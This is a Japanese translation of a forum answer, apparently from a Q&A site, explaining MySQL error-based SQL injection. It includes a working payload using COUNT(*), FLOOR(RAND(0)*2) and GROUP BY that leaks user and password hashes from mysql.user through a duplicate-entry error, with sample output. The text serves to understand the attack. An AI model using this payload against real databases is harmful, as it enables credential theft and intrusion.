攻撃が実際に行うこと
この攻撃については、他の回答者が見逃した微妙ですが巧妙な詳細があります。キー'group_key'のエラーメッセージDuplicateentry':sjw:1:ukt:1'に注意してください。 。文字列
:sjw:1:ukt:1
実際には、MySQLサーバーによって評価された式の結果です。アプリケーションがMySQLエラー文字列をブラウザに送り返す場合、エラーメッセージがデータをリークする可能性があります データベースから。
この種の攻撃は、クエリ結果がブラウザに返送されない場合(ブラインドSQLインジェクション)、または従来のUNIONSELECT攻撃を実行するのが複雑な場合に使用されます。 INSERT / UPDATE/DELETEクエリでも機能します。
Hawiliが指摘しているように、元の特定のクエリは情報を漏らすことは想定されていませんでした。これは、アプリケーションがこの種のインジェクションに対して脆弱かどうかを確認するためのテストにすぎませんでした。
攻撃はしませんでした MvGが提案したように失敗し、このエラーの原因はクエリの目的です。
これがどのように使用されるかのより良い例:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
エラーが発生する理由
クエリがMySQLでこのエラーを引き起こす理由は、私にはいくぶん謎です。 GROUP BYは重複するエントリを集約して処理することになっているため、MySQLのバグのように見えます。 Hawiliによるクエリの単純化は、実際にはエラーを引き起こしません!
式FLOOR(RAND(0)* 2)
ランダムシード引数0に基づいて、次の結果を順番に示します。
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
3番目の値は2番目の値と重複しているため、このエラーがスローされます。少なくとも3行のFROMテーブルを使用できますが、information_schema.tablesが一般的です。 MySQLでエラーを引き起こすには、COUNT(*)とGROUPBYの部分が必要です。
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
このエラーは、PostgreSQLと同等のクエリでは発生しません:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(1年遅れて回答して申し訳ありませんが、今日これに遭遇しました。MySQLからのエラーメッセージを介してデータをリークする方法があることを知らなかったので、この質問は私にとって興味深いものです)